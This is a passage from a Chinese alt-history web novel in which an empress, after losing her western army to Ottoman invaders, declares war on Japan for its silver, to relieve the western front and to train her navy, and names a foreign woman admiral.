“十万……十万安西军更是……更是全军覆没无一生还啊!” “什么?!” 这个如同晴天霹雳一般的惊天噩耗! 像一颗威力无穷的超级炸弹! 瞬间在整个太极殿内轰然炸响! 所有文武百官都像是被施了定身法一样呆呆地愣在了原地! 他们一个个张着嘴瞪着眼。 脸上全是难以置信的震惊和骇然! 安西都护府……没了? 郭子仪将军……下落不明? 十万安西军……全军覆没?! 这……这怎么可能?! 这简直是天方夜谭! 要知道安西都护府那可是他们大乾在西域最重要的军事屏障! 郭子仪将军那更是与郑克敌、岳飞齐名的大乾三大名将之一! 而那十万安西军更是他们大乾最精锐的边防主力! 这样一支足以抵御任何强敌的钢铁雄师。 怎么可能会在一夜之间就……就全军覆没了?! 这奥斯曼土耳其到底是个什么来头? 他们又是如何能悄无声息地,将二十万大军运过那号称“死亡之海”的昆仑山的?! 一时间无数个充满了震惊和恐惧的疑问,涌上了所有人的心头。 让他们感觉一阵阵地头皮发麻不寒而栗! 而慕容嫣在听到这个足以让天地都为之变色的惊天噩耗时。 那张刚刚才因为虎门大捷而露出一丝笑容的绝美俏脸之上。 瞬间血色尽失! 变得一片煞白! 她的身体不受控制地晃了晃几乎就要从那高高的凤椅之上摔下来! 她的脑子里更是“嗡”的一声瞬间一片空白! 安西都护府没了…… 这不仅仅意味着他们大乾失去了一道最重要的西部屏障。 更意味着那条他们好不容易才重新打通的,通往西方的丝绸之路。 被彻底地拦腰斩断了! 也意味着他们之前所规划的那些关于“开拓海外发展实业”的所有宏伟蓝图。 都将成为一纸空谈! 而最最让她感到恐惧和绝望的是! 神机营! 她那还在前往西域路上的五千神机营! 还有她那还在神机营里的心爱的夫君! 他们根本就不知道西域已经发生了如此惊天的巨变! 他们还在傻傻地按照原定计划,向着那个早已变成了死亡陷阱的安西都护府前进! 他们正在一步一步地走进敌人为他们精心准备的包围圈! 一想到她那还身负重伤,手无缚鸡之力的夫君。 即将要面对二十万如狼似虎的奥斯曼土耳其大军! 慕容嫣的心就如同被一只无形的大手狠狠地揪住了! 疼得她快要无法呼吸! 一股前所未有的冰冷的绝望! 瞬间将她整个人都彻底吞噬! “不……不……”她失神地喃喃自语着,那双美丽的凤眸之中早已是一片空洞和死灰。 “陛……陛下!” “陛下您……您怎么了?!” 殿下的文武百官看着她那失魂落魄,仿佛随时都会崩溃倒下的模样。 一个个也都是吓得魂飞魄散! 他们知道王爷倒下了。 陛下就是他们大乾唯一的也是最后的主心骨! 若是连陛下都倒下了! 那他们大乾可就真的要完了! “陛下!您……您要振作啊!”户部尚书周兴第一个反应了过来,连滚带爬地冲到了御阶之下带着哭腔大声地喊道! “王爷他……他还需要您!” “您肚子里的小皇子也需要您!” “我们大乾这亿万的黎民百姓更需要您啊!” “您可千万不能倒下啊!” 周兴的这番话如同一道惊雷,瞬间劈醒了那早已陷入无边黑暗和绝望之中的慕容嫣! 对! 她不能倒下! 她绝不能倒下! 她的夫君还需要她去救! 她肚子里的孩子还需要她来保护! 她身后这个庞大而又脆弱的帝国更需要她来守护! 她是慕容嫣! 是大乾唯一的也是最后的女皇帝! 她绝不能在她的男人,最需要她的时候倒下! 一股前所未有的强大的坚韧的意志力! 瞬间从她那娇小的,看似柔弱的身体里爆发了出来! 她那双原本已经空洞无神的凤眸之中。 再一次燃起了熊熊的不屈的火焰! 那火焰里充满了冰冷的决绝的滔天的杀意! 她深吸一口气。 缓缓地从那冰冷的凤椅之上站了起来。 然后用一种足以让天地都为之变色的冰冷声音,一字一句地说道。 “传……朕……旨……意!” “召!” “兵部尚书岳飞!” “户部尚-书周兴!” “工部尚-书李格!” “吏部尚书王安石!” “还有锦衣卫指挥使赵无忌!” “以及所有在京的三品以上文武大员!” “立刻到紫宸殿觐见!” “就现在!立刻!马上!” 第1202章 西征的事情还需要从长计议 慕容嫣的声音冰冷得不带一丝一毫的感情。 却又充满了一种不容置疑的属于帝王的绝对威严! 她那双美丽的凤眸之中早已没有了刚才的半分悲伤和绝望。 只剩下冰冷的如同机器一般的绝对的理智! 她知道现在不是悲伤的时候。 也不是恐惧的时候。 她必须在最短的时间之内冷静下来。 然后用最快的速度做出最正确的决断! 因为她每犹豫一秒。 她那远在万里之外的夫君和那五千神机营的将士们。 就离死亡更近一步! …… 紫宸殿内。 灯火通明。 气氛却凝重得几乎要让人窒息。 所有被召集而来的大乾核心重臣们都已到齐。 他们一个个正襟危坐噤若寒蝉。 连大气都不敢喘一口。 他们都已经被那来自于西域的惊天噩耗,给彻底地吓破了胆。 他们看着那个端坐在御案之后,那张绝美的俏脸之上,布满了万年不化寒霜的年轻女帝。 心中充满了无法用言语来形容的敬畏和担忧。 他们不知道,在失去了摄政王殿下这个顶梁柱之后。 他们这位年轻的女帝陛下,到底能不能撑得住,这即将压垮整个帝国的泰山之压。 “诸位爱卿。” 许久慕容嫣才缓缓地开口打破了这令人窒息的沉默。 她的声音很轻很柔。 却又带着一股直透人心的冰冷和坚毅。 “想必西域之事尔等都已尽知。” “朕今日召尔等前来,不是为了听你们哭天抢地,也不是为了看你们惊慌失措。” “朕只问你们一句。” 她的目光如同两把锋利的冰刀,缓缓地扫过殿内的每一个人。 “事到如今。” “我们该当如何?” 殿内再一次陷入了死一般的寂静。 所有官员都低着头面面相觑。 却无一人敢率先开口。 怎么办? 他们哪里知道该怎么办? 二十万装备了火器的奥斯曼土耳其大军! 那可是连西方所有帝国都为之胆寒的无敌雄师! 而他们大乾最精锐的十万安西军已经全军覆没! 郭子仪将军也身负重伤下落不明! 他们现在拿什么去跟人家斗? 难道要将刚刚才在虎门海战中打残了的,广东和福建水师调到西域去吗? 那不是开玩笑吗?! 难道要将镇守漠北的郑克敌元帅的北府军调过去吗? 那漠北怎么办? 要是那些刚刚才归顺的草原部落趁机作乱。 那他们大乾可就真的要南北两线作战,腹背受敌,陷入万劫不复的绝境了啊! 一时间所有人的心中都充满了深深的无力感和绝望。 他们发现这根本就是一个无解的死局! 就在这所有人都束手无策一筹莫展的绝望时刻。 一个洪亮而又充满了铁血与决绝的声音却突然响了起来! “陛下!” 只见新任的兵部尚书,刚刚才从广州星夜兼程赶回长安的岳飞。 从人群中走了出来! 他那张古铜色的刚毅脸庞之上,没有半分的恐惧和退缩。 只有熊熊燃烧的滔天战意! 他对着慕容嫣单膝跪地声音洪亮如钟! “末将请战!” “末将愿亲率我大乾最后的三十万京营大军!” “即刻西征!” “与那奥斯曼土耳其的二十万大军决一死战!” “不破楼兰终不还!” “末将誓与西域共存亡!” 岳飞这番充满了豪情壮志和必死决心的慷慨陈词。 像一记重锤,狠狠地敲在了紫宸殿内,每一个早已被恐惧和绝望所吓破了胆的,文官的心上! 他们看着眼前这个明明年纪轻轻,却拥有着山岳一般沉稳气魄的年轻将领。 心中那早已熄灭的血性和勇气,竟然又一次被重新点燃了! 是啊! 他们是大乾的臣子! 他们身后是数以亿计的大乾子民! 国难当头他们又岂能在此畏缩不前坐以待毙?! “陛下!末将也愿往!” “陛下!老臣虽是一介文官,但也愿追随岳将军一同西征!为大军筹措粮草,以尽绵薄之力!” 一时间整个紫宸殿内群情激奋! 那些之前还噤若寒蝉的文武百官们一个个都像是打了鸡血一样。 争先恐后地站了出来主动请缨! 慕容嫣看着殿下那一张张重新燃起了斗志和血性的脸。 那双冰冷的凤眸之中,也终于闪过了一丝欣慰和暖意。 她知道她的大乾还没完。 只要人心不倒血性尤在。 那这个国家就永远不会亡! 然而她却并没有立刻同意岳飞的请战。 她只是静静地看着他缓缓地摇了摇头。 “岳爱卿你的忠勇朕心领了。” “但是西征之事不可。” “什么?!”岳飞闻言猛地一愣! 殿内那刚刚才燃起的激昂气氛也瞬间为之一滞。 所有人都一脸不解地,看着他们这位心思难测的女帝陛下。 不明白她为什么要拒绝这唯一可行的破局之法。 “陛下!”岳飞急了连忙说道“如今西域危在旦夕!王爷和神机营的将士们更是身陷重围生死未卜!” “我们若不立刻发兵救援那……那后果不堪设想啊!” “朕知道。”慕容嫣的声音依旧是那么的平静。 “但你有没有想过。” “京营三十万大军乃是我大乾最后的根本所在。” “一旦尽数西调。” “那我们这偌大的中原腹地谁来守护?” “长安这座帝国的都城又由谁来保卫?” “若是此时那刚刚才退回北方的‘罗刹国’去而复返。” “又或是那盘踞在东海之上的倭寇水师趁机来犯。” “届时我们南北东三线同时告急。” “那才是真正的灭顶之灾!” 慕容嫣这番冷静而又充满了大局观的分析。 如同一盆冰冷刺骨的雪水。 瞬间浇醒了那些还沉浸在一腔热血之中的文武百官们。 他们这才意识到。 自己刚才实在是太冲动了。 他们只想着去救西域去救王爷。 却完全忽略了一旦他们倾全国之力西征。 那他们大乾这看似强大实则早已是千疮百孔的庞大帝国。 将会面临何等恐怖的连锁反应! 这根本就不是一场可以用孤注一掷的豪赌来解决的战争! 这是一盘牵一发而动全身的生死棋局! 走错一步便是万劫不复! 第1203章 三个月之内灭掉倭国 一时间,整个紫宸殿内又一次陷入令人窒息的寂静。 所有人的脸上,都重新浮现出了那深深的无力感和绝望。 是啊。 西征是找死。 不西征是等死。 这……这他娘的还怎么玩? 这根本就是一个彻头彻尾的死局! 难道他们大乾,这个刚刚才看到了一丝崛起曙光的新生帝国。 就真的要这么窝囊地憋屈地亡了吗? “陛下……”岳飞的声音也变得有些沙哑和干涩“那……那依您之见我们……我们到底该当如何?” 所有人的目光都再一次齐刷刷地,聚焦在了那个端坐在御案之后,那道看似娇小却又仿佛能撑起整个天地的绝美身影之上。 他们知道。 现在整个大乾帝国所有的希望都寄托在了她一个人的身上。 慕容嫣没有立刻回答。 她只是缓缓地闭上了眼睛。 那张绝美的俏脸之上一片平静古井不波。 仿佛这足以让天地都为之变色的亡国之危。 在她看来不过是一场微不足道的小小风波。 她的身上依旧穿着那件作为唯一寝衣的神凤降世裙。 那极致玄黑的苏锦底料,在紫宸殿那明亮而又庄严的烛光之下,显得愈发地深邃而又神秘。 仿佛隐藏着足以颠覆整个乾坤的无穷智慧。 那只用真金线绣成的擎天巨凤,也仿佛与它的主人一样,进入了一种物我两忘的空明状态。 凤目微阖,不动如山。 却又在无声之中,积蓄着足以毁天灭地的雷霆之怒! 那长达五丈的墨金色苏锦拖尾,安静地流淌堆叠在冰冷的金砖地面之上。 像一片看似平静,实则暗流汹涌的黑色海洋。 那华贵的凌乱之中,透着一股暴风雨来临之前的极致的压抑! 许久。 许久。 她才缓缓地睁开了那双美丽的凤眸。 而在她睁开眼睛的那一刹那! 一股比之前任何一次都更加强大的属于帝王的无上威严! 瞬间从她那娇小的身体里爆发了出来! 那股气势是如此的磅礴! 如此的浩瀚! 以至于整个紫宸殿内的所有文武百官,都在这一瞬间感到了一阵,发自灵魂深处的战栗和臣服! 他们仿佛看到的不再是一个柔弱的美丽的女子。 而是一个真正的从九天之上降临凡尘的,执掌着生杀大权和万物命运的无上神明! “谁说我们无路可走了?” 慕容嫣的声音很轻很淡。 却又如同天神之语在每一个人的耳边轰然炸响! 她缓缓地从那冰冷的凤椅之上站了起来。 然后一步一步地走下了御阶。 走到了那副巨大的大乾堪舆图之前。 她那双燃烧着熊熊火焰的美丽凤眸,缓缓地扫过图上的每一寸山河。 最终。 她的目光定格在了那片代表着无尽财富和机遇的蔚蓝色的海洋之上! 和那位于海洋最东端一个如同弯月一般孤悬海外的小小岛国! ——倭国! “诸位爱卿,”她的嘴角缓缓地勾起了一抹冰冷的充满了血腥和残忍的弧度。 “你们是不是忘了。” “我们手里可是还捏着一张,足以扭转整个乾坤的,最后的,也是唯一的王牌啊。” “王牌?” 所有人的目光都顺着她,那白皙如玉的手指看了过去。 当他们看到那个在地图上小得几乎,可以忽略不计的岛国时。 所有人的脸上都露出了深深的困惑和不解。 倭国? 这个在他们眼中不过是一个茹毛饮血,不知礼数的化外蛮夷之邦。 怎么就成了他们大乾扭转乾坤的王牌了? 他们想不明白。 他们也不敢问。 他们只能用一种充满了敬畏和好奇的目光,看着他们这位心思比大海还要深不可测的女帝陛下。 等待着她揭晓那最后的答案。 “陛下……”还是岳飞第一个忍不住开口问道,“末将……愚钝。还请陛下明示。” 慕容嫣没有说话。 她只是转过身看了一眼,那还躺在工坊的病床之上,昏迷不醒的心爱之人。 那双冰冷的凤眸之中闪过了一丝无人察觉的温柔和决绝。 然后她缓缓地收回目光。 用一种足以让整个世界都为之颤抖的冰冷声音一字一句地说道。 “传朕旨意!” “即日起!” “大乾对倭国!” “全面宣战!” “朕要御驾亲征!” “朕要在三个月之内!” “将那弹丸小国给我从这堪舆图上彻底地抹去!” “朕要用那数百万倭人的鲜血和尸骨!” “来为我夫君为我大乾那十万惨死的安西英魂!” “祭旗!!!” “轰——” 慕容嫣这番充满了血腥疯狂和无尽杀伐之意的惊天宣言! 像一颗足以毁灭整个星辰的超级核弹! 瞬间在整个紫宸殿内轰然引爆! 所有文武百官都像是被闪电劈中了天灵盖一般! 呆呆地傻傻地愣在了原地! 他们一个个张着嘴瞪着眼。 脑子里嗡嗡作响一片空白! 对倭国全面宣战?! 御驾亲征?! 三个月之内灭掉倭国?! 这……这……这…… 他们感觉自己一定是疯了! 这简直是他们这辈子听过的最疯狂最荒谬最不可思议的事情! 西边的二十万虎狼之师还没解决。 他们竟然又要主动地去招惹东边的那群疯狗?! 这……这不是嫌自己死得不够快吗?! 这已经不是在下棋了! 这分明是在掀桌子啊! “陛……陛下!万万不可啊!” 在经历了长久的死一般的寂静之后。 以吏部尚书王安石为首的一众文官,第一个反应了过来! 他们“噗通”一声全都跪倒在地! 一个个哭天抢地声泪俱下! “陛下!您……您三思啊!”王安石的声音都带上了哭腔“如今国难当头西陲危急!我大乾已是风雨飘摇岌岌可危!” “此时我等理应集中全部力量,应对那奥斯曼土耳其的二十万虎狼之师!又岂能再分心他顾主动去招惹那东海之上的倭国疯狗啊?!” “是啊陛下!”户部尚书周兴也连忙跟着说道,“那倭寇虽是弹丸小国,但其民风彪悍,悍不畏死!且其四面环海易守难攻!我大乾水师又不善远洋作战!” “此番若是贸然出征非但胜算渺茫!反而还可能将我大乾最后的一点国力,都给彻底地耗尽啊!” 第1204章 主要是练兵 “届时我等便是两线作战腹背受敌!那才是真正的万劫不复国之将亡啊!” “恳请陛下收回成命!切莫因一时之愤而误了国家大事啊!” 一时间整个紫宸殿内全是反对和劝谏之声。 几乎所有的文官都认为慕容嫣的这个决定是疯狂的不理智的甚至是自取灭亡的! 然而。 面对着这如同潮水一般的反对声浪。 慕容嫣那张绝美的俏脸之上,却是没有半分的动摇。 她只是用一种冰冷的,看死人一般的目光,静静地看着殿下那些自以为是忠心耿耿的所谓“股肱之臣”。 许久。 她才缓缓地开口。 声音不大。 却又清晰地传遍了大殿的每一个角落。 也狠狠地敲在了每一个人的心上。 “说完了吗?” 那冰冷的不带一丝感情的三个字。 瞬间便让那原本还喧嚣无比的紫宸殿,再一次陷入了死一般的寂静。 所有官员都用一种难以置信的目光,看着女帝陛下。 不明白她为什么到了这个时候还能如此的平静。 “既然说完了。” 慕容嫣的嘴角,缓缓地勾起了一抹冰冷的充满了无尽嘲讽的弧度。 “那就该轮到朕来给你们好好地上一课了。” “你们以为,”她的声音变得愈发地冰冷和凌厉,“朕决定御驾亲征,攻打倭国是一时冲动?” “是为了泄私愤?” “是为了给我夫君和我那十万安西军报仇?” “天真!” “真是天真得可笑!” “朕告诉你们!” “朕的每一个决定都绝非无的放矢!” “朕要攻打倭国恰恰就是为了要救西域!要救王爷!要救我大乾!” “这才是我等唯一的也是最后的破局之法!” 慕容嫣的这番话如同一道道九天之外的混沌神雷! 又一次在所有人的脑海里轰然炸响! 他们一个个呆若木鸡瞠目结舌! 攻打倭国是为了救西域? 这……这怎么可能?! 这两者之间明明八竿子都打不着啊! “陛……陛下……”吏部尚书王安石作为百官之首壮着胆子开口问道,“臣……臣等愚钝还请……还请陛下明示……” “哼。”慕容嫣冷哼一声那双冰冷的凤眸之中闪过了一丝毫不掩饰的鄙夷。 “你们这帮读了一辈子圣贤书的老顽固,除了会引经据典,之乎者也还会干什么?” “你们的眼睛里除了中原这一亩三分地还能看到什么?” “你们知道那奥斯曼土耳其为什么要不远万里地跑来攻打我们吗?” “你们知道那东印度公司的舰队为什么会突然出现在我们的领海吗?” “你们知道那所谓的‘虚无党’又到底是个什么东西吗?” 慕容嫣的每一个问题都像是一把锋利的尖刀。 狠狠地扎在了在场所有文武百官的心上! 让他们一个个面红耳赤无地自容。 是啊。 他们什么都不知道。 他们就像一群被圈养在井底的青蛙。 除了自己头顶上那片小小的天空,便再也看不到任何更广阔的世界。 而他们却还一直自以为是地,以为自己就是这个世界的中心。 何其的可悲! 何其的可笑! “朕告诉你们!”慕容嫣的声音变得愈发地高亢和激昂! “这个世界远比你们想象的要大得多!也危险得多!” “在我们不知道的遥远的西方,有着比我们更强大的国家!更先进的武器!和更贪婪的野心!” “他们就像是一群闻到了血腥味的饥饿的豺狼!” “正虎视眈眈地盯着我们这块在他们眼中肥得流油的东方大陆!” “今天来的是奥斯曼土耳其和东印度公司。” “明天可能就是罗刹国,法兰西,西班牙!” “如果我们不能在今天用最血腥最强硬的手段,打断他们的脊梁!打怕他们的胆!” “那么等待着我们的,就只有被他们一点一点地瓜分蚕食,最终亡国灭种的悲惨下场!” “而现在!” “我们已经没有退路了!” “西域已失!王爷被困!国库空虚!民心动荡!” “我们若是倾全国之力,与那二十万土耳其大军,在西域打一场旷日持久的消耗战。” “那正中敌人的下怀!” “他们巴不得我们就这么被他们活活地拖死耗死!” “所以!” “我们必须跳出他们为我们设下的这个死亡棋盘!” “我们必须用一种他们所有人都意想不到的疯狂方式!” “来打破这个僵局!” “而这个破局的关键就在……” 她的手指再一次重重地点在了堪舆图上那个毫不起眼的小小岛国之上! “——倭国!” “为什么是倭国?” 岳飞看着地图上,那个孤悬海外的弹丸小国,眉头紧锁百思不得其解。 “陛下恕末将直言。倭国国小民弱,资源匮乏。且其四面环海与我大乾隔着万顷碧波。我军劳师远征补给困难天时地利皆不占优。” “我们就算能侥幸打下它。又能得到什么呢?” “除了多一片贫瘠的不毛之地,和数百万桀骜不驯的刁民之外,于我大乾并无半点益处啊。” “反而还会因此而深陷战争的泥潭,将我大乾最后的一点国力都给彻底地耗尽!” 岳飞的这番话说得很中肯也很在理。 也代表了在场绝大多数武将的心声。 在他们看来攻打倭国这笔买卖怎么算都是亏本的。 得不偿失。 然而。 慕容嫣听完却是笑了。 她笑得很冷很美。 也充满了一种智商上的绝对碾压。 “岳爱卿,”她看着岳飞那张写满了困惑和不解的刚毅脸庞缓缓地摇了摇头。 “你只看到了其一。” “却未看到其二,其三,甚至是其四。” “哦?”岳飞的眼中闪过了一丝好奇。“还请陛下赐教。” “其一。”慕容嫣伸出了一根白皙如玉的纤纤玉指。 “你刚才说倭国国小民弱资源匮乏。这话只说对了一半。” “倭国其他的资源,或许确实不怎么样。但是它有一种资源却是富得流油,远超我们大乾甚至是整个世界的任何一个国家!” “什么资源?”所有人都好奇地看了过来。 “银!” 第1205章 倭国有银矿 慕容嫣的口中轻轻地吐出了一个字。 “根据朕从那些来往于东海之上的商人,和海客口中得到的情报。” “倭国境内拥有一座巨大无比的露天银矿!” “其储量之大品质之高简直骇人听闻!” “当地的倭人甚至都不知道这东西的珍贵。常常将其当成普通的石头来盖房子铺路!” “什么?!” 这个消息一经说出。 整个紫宸殿瞬间炸开了锅! 尤其是户部尚书周兴! 他那双原本就因为肥胖而显得有些小的眼睛,在这一刻瞪得比牛眼还大! 整个人更是激动得浑身的肥肉都在疯狂地颤抖! 露天银矿?! 储量巨大?! 还拿来盖房子铺路?! 天啊! 这……这他娘的哪是一个贫瘠的岛国啊?! 这分明是一座漂浮在海上的巨大金山啊! 不!是银山! “陛……陛下……”周兴的声音都在发抖他感觉自己快要幸福得晕过去了。“您……您说的都……都是真的吗?” “朕从不妄言。”慕容嫣淡淡地说道。 “你想想,”她的嘴角勾起了一抹充满了诱惑力的笑容,“如果我们能打下倭国,将那座巨大的银矿牢牢地掌控在我们的手里。” “那我们大乾还会缺钱吗?” “那我们之前所规划的那些建立银行,发行股票,发展实业,开拓海外的所有宏伟蓝图。” “还会因为国库空虚而寸步难行吗?” “不会!绝对不会!”周兴想也不想地便用一种近乎于嘶吼的声音疯狂地回答道! 他现在看地图上那个小小的倭国眼神都变了! 那哪里是一个岛国啊?! 那分明是一个穿着比基尼躺在沙滩上搔首弄姿等着他去宠幸的绝世大美人啊! “陛下!”他“噗通”一声跪倒在地那张肥胖的脸上全是豁出去了的疯狂和决绝! “打!” “必须打!” “老臣就算是砸锅卖铁,把户部的房梁都给拆了当柴烧!” “也一定为陛下为大军筹措到足够的粮草和军饷!” “谁要是敢阻拦陛下发这笔天大的横财!” “老臣第一个跟他拼了这条老命!” 周兴这番充满了财迷心窍的“豪言壮语”。 让整个紫宸殿内那原本还有些凝重的气氛,瞬间变得有些滑稽和诡异。 不少官员都忍不住想笑。 但又不敢笑。 只能一个个憋得满脸通红。 慕容嫣看着这个已经彻底被金钱冲昏了头脑的活宝尚书。 也是有些哭笑不得。 她抬了抬手示意他先起来。 然后她伸出了第二根手指。 “其二。” “以战养战!” “我们这次御驾亲征攻打倭国。看似是两线作战劳民伤财。” “但实际上却可以最大程度地缓解我们西线战场的巨大压力!” “诸位可以想一想。” “一旦我们大乾对倭国全面宣战的消息传出去。” “那远在西域的奥斯曼土耳其会作何感想?” “那虎视眈眈的东印度公司又会作何感想?” “他们一定会认为我们大乾是疯了!” “他们一定会认为我们这位年轻的女皇帝,是因为夫君被困,而方寸大乱自寻死路!” “他们绝不会想到我们的真正目的是那座巨大的银矿!” “他们只会幸灾乐祸地等着看我们的笑话!” “等着我们深陷东海的战争泥潭无法自拔!” “等着我们被那悍不畏死的倭寇给活活地耗死拖垮!” “如此一来他们在西线对王爷和神机营的围剿,就必然会有所松懈!” “因为在他们看来,王爷和神机营已经是瓮中之鳖插翅难飞。” “早一天,晚一天,解决掉根本无伤大雅。” “而这就为我们赢得了最宝贵的喘息之机!” “也为王爷他在西域,寻找战机,突出重围创造了最佳的条件!” 慕容嫣的这番堪称是“声东击西,暗度陈仓”的神级战术分析。 让在场所有以岳飞为首的武将们,一个个都听得是如痴如醉茅塞顿开! 他们这才明白。 原来陛下这一招看似疯狂的东征之举。 其背后竟然还隐藏着,如此深沉的围魏救赵的战略考量! 这已经不是单纯的军事层面的博弈了! 这是一种将人心人性,和整个国际局势,都玩弄于股掌之间的帝王心术! “陛下……圣明!” 岳飞的心中对这位年纪比他还小,但在战略眼光之上却远胜于他的绝美女帝。 已经佩服得五体投地。 他知道自己终其一生,或许可以成为一个攻无不克战无不胜的绝代名将。 但却永远也成不了像陛下这样,可以坐观天下风云,执棋颠倒乾坤的无上棋手。 慕容嫣看着岳飞那充满了狂热崇拜的眼神。 只是淡淡地笑了笑。 然后她伸出了第三根手指。 “其三。” “练兵!” “也是朕认为最重要的一点!” “练兵?” 所有人都愣住了,不明白陛下这句话的意思。 我们大乾的军队,无论是京营十二卫,还是镇守四方的边军,哪一支不是身经百战的虎狼之师?还需要练吗? 尤其是神机营和刚刚在虎门海战中大放异彩的广东水师,他们刚刚才取得了一场旷古烁今的大捷,正是士气如虹的时候,何来练兵一说? “诸位爱卿,”慕容嫣似乎看穿了众人的心思,声音再一次响起,只是这一次,她的声音里带着一丝前所未有的凝重,“虎门海战,我们确实赢了,而且赢得非常漂亮。” “但是,我们是怎么赢的?” “靠的是岳爱卿的奇谋妙计,靠的是天时地利,靠的是我们打了对方一个措手不及。” “但我们自身的实力,尤其是我们的水师,真的就比那东印度公司的舰队强吗?” 这个问题,像一盆冷水,瞬间浇在了所有人的头上。 是啊,他们赢了吗? 赢了。 但赢得侥幸吗? 也确实侥幸。 如果不是虎门天险,如果不是岳飞的火攻奇计,如果不是林臻那张真假难辨的藏宝图……单凭他们那些最大不过千石的沿海小炮船,去和人家那数万石的超级巨舰硬碰硬,结果会是如何? 答案,不言而喻。 “我们大乾的陆军,放眼天下或许难逢敌手。”慕容嫣的声音,回荡在寂静的紫宸殿内,每一个字都掷地有声。 “但是我们的海军,我们的水师,说句不好听的,就是一群,只能在自家澡盆里扑腾的旱鸭子!” 第1206章 勾引兵部尚书? “他们根本不懂,什么是真正的远洋作战!” “他们根本不懂,什么是风帆,洋流,和季风!” “他们甚至连一张像样的世界海图都画不出来!” “这样一支水师,就算我们给他们,装备了再先进的火炮,再坚固的战船,他们,也依旧是一群,不堪一击的乌合之众!” “而倭国,”她的目光,再次落在了地图上那个小小的岛国之上,眼神却变得无比锐利,“就是我们为这支孱弱的水师准备的,最好的,也是最残酷的练兵场!” “那里有比我们更丰富的航海经验!” “那里有比我们更熟悉海洋的水手和战士!” “那里更有世界上最复杂,最凶险的海洋环境!” “朕要的不仅仅是打下倭国夺取那座银矿!” “朕要的是通过这场战争,为我们大乾锻造出一支,真正的无敌舰队!” “一支能纵横四海,所向披靡!能将我们大乾的龙旗插遍这颗星辰之上每一片,蔚蓝色海洋的,钢铁雄师!” “而这支舰队的第一任提督,朕也已经想好了。”她顿了顿,目光扫过全场,最终落在了那个,站在角落里,一直默不作声的金发尤物身上。 “伊丽莎白·斯旺!” “臣……在!”伊丽莎白被这突如其来的点名,弄得微微一愣,但还是很快反应了过来,连忙走上前,单膝跪地。 “从今日起,朕正式任命你为,我大乾皇家海军,第一任总提督!” “兼东征倭国远征军总指挥!” “朕将广东、福建、浙江,三省水师,以及你麾下的‘黑珍珠号’舰队,共计大小战船一千艘,将士五万余人,全都交由你统一指挥节制!” “朕给你三个月的时间!” “朕不管你用什么方法!” “朕只要一个结果!” “那就是胜利!” “三个月后,朕要亲眼看到,我大乾的凤凰旗,插在那倭国都城的天守阁之上!” “你能做到吗?!” 慕容嫣的这番话,如同一道道九天神雷,在整个紫宸殿内轰然炸响! 让一个刚刚才投诚的,来历不明的西夷妖女,担任大乾皇家海军的第一任总提督? 还让她统帅三省水师,五万大军去征讨倭国?! 这……这简直是,滑天下之大稽! “陛下!万万不可啊!” “是啊陛下!此女来历不明,狼子野心!岂能委以如此重任?!” “请陛下三思!收回成命啊!” 一时间殿内又一次响起了山呼海啸般的反对之声。 所有官员都觉得他们的这位女帝陛下,这一次是真的疯了! 这已经不是在下棋了! 这分明是在玩火! 在拿他们大乾最后的一点海军家底,和数万将士的性命,去进行一场毫无胜算,且愚蠢至极的惊天豪赌! 然而面对着这几乎要将,紫宸殿屋顶都给掀翻的反对声浪。 慕容嫣的脸上却是没有半分的动摇。 她只是静静地看着那个单膝跪在地上,同样也是一脸难以置信和震惊的金发尤物。 “伊丽莎白,”她的声音很轻却又充满了一种不容置疑的穿透力,“回答朕。” “你到底敢不敢接下朕的这个赌注?” 伊丽莎白,抬起头。 那双蓝宝石一般的,美丽眼眸死死地,看着眼前这位仿佛将整个世界的命运,都当成了自己掌中玩物的东方女皇。 她能感觉到对方那看似平静的目光之下,所隐藏的那足以焚尽八荒,煮干四海的疯狂和决绝! 她知道眼前这个女人和她是同一类人! 她们都是天生的赌徒! 都喜欢在刀尖上跳舞! 都享受那种将自己的命运,和全世界的命运都压在一场豪赌之上的,极致的刺激和快感! 一股前所未有的棋逢对手的兴奋和战意! 瞬间从她的心底升腾而起! 她缓缓地站起身来。 那张美艳的俏脸之上所有的震惊和不解,都已烟消云-散。 取而代之的是一抹与慕容嫣如出一辙的,充满了疯狂和自信的邪魅笑容。 “尊敬的,我的女皇陛下。” 她微微躬身,用一种充满了挑衅和玩味的咏叹调缓缓地说道。 “您的这个赌局,我接了。” “不过……” “我也有一个,小小的条件。” “哦?”慕容嫣看着她那副充满了挑衅和自信的模样,嘴角也勾起了一抹玩味的弧度,“说来听听。” “我的条件很简单。”伊丽莎白伸出了一根涂着鲜红色蔻丹的纤纤玉指,在那丰润的红唇之上轻轻地划了一下,那动作充满了一种致命的诱惑。 “这场东征我可以去。” “但是我需要一个人陪我一起去。” “谁?”慕容嫣的眉头微微一挑。 伊丽莎白的目光缓缓地扫过全场最终落在了,那位站在武将之首一脸杀气腾腾的年轻将领身上。 “他。” 所有人的目光都顺着她手指的方向看了过去。 当他们看到伊丽莎白所指的,竟然是兵部尚书神机营的创始人之一岳飞时。 所有人的脸上都露出了了然的神色。 他们都以为伊丽莎白是看中了岳飞,那无与伦比的军事才能。 想要拉上他这个大乾最顶尖的陆战名将,来为她的这次毫无胜算的东征,增加一点微不足道的砝码。 然而。 他们都猜错了。 只见伊丽莎白对着岳飞露出了一个,充满了魅惑和玩味的笑容。 然后用一种足以让任何男人,都骨头发酥的咏叹调缓缓地说道。 “我听说这位岳将军不仅用兵如神勇冠三军。” “而且还是我们伟大的摄政王殿下,最看重也最信任的左膀右臂。” “我这次东征路途遥远凶险异常。身边若是没有一个像岳将军这样,既能打又靠得住的男人保护着。” “人家会害怕的呢~” 她这番充满了赤裸裸的调戏和挑逗意味的话。 像一颗粉红色的情趣炸弹! 瞬间在整个庄严肃穆的紫宸殿内轰然引爆! 所有文武百官都像是被雷劈了一样! 一个个目瞪口呆瞠目结舌! 他们做梦也想不到! 这个来自于西方的金发妖女,竟然敢当着满朝文武和女帝陛下的面! 公然地调戏他们大乾最刚正不阿,最不近女色的兵部尚书! 这……这……这简直是太……太伤风败俗了! 太不成体统了! 第1207章 实际上是试探 而作为当事人的岳飞,那张古铜色的刚毅脸庞在这一刻更是“唰”的一下,瞬间涨成了猪肝色! 他一个在尸山血海里,都面不改色的铁血悍将。 此刻却是被一个女人的几句轻佻的言语,给弄得手足无措方寸大乱! “你……你这个不知廉耻的妖……妖女!”他指着伊丽莎白,嘴唇哆嗦着半天都说不出一句完整的话来。 “咯咯咯……”伊丽莎白看着他那副又羞又恼的纯情模样,却是笑得花枝乱颤前仰后合。 她发现自己真是越来越喜欢这个,古板严肃却又意外地可爱的东方男人了。 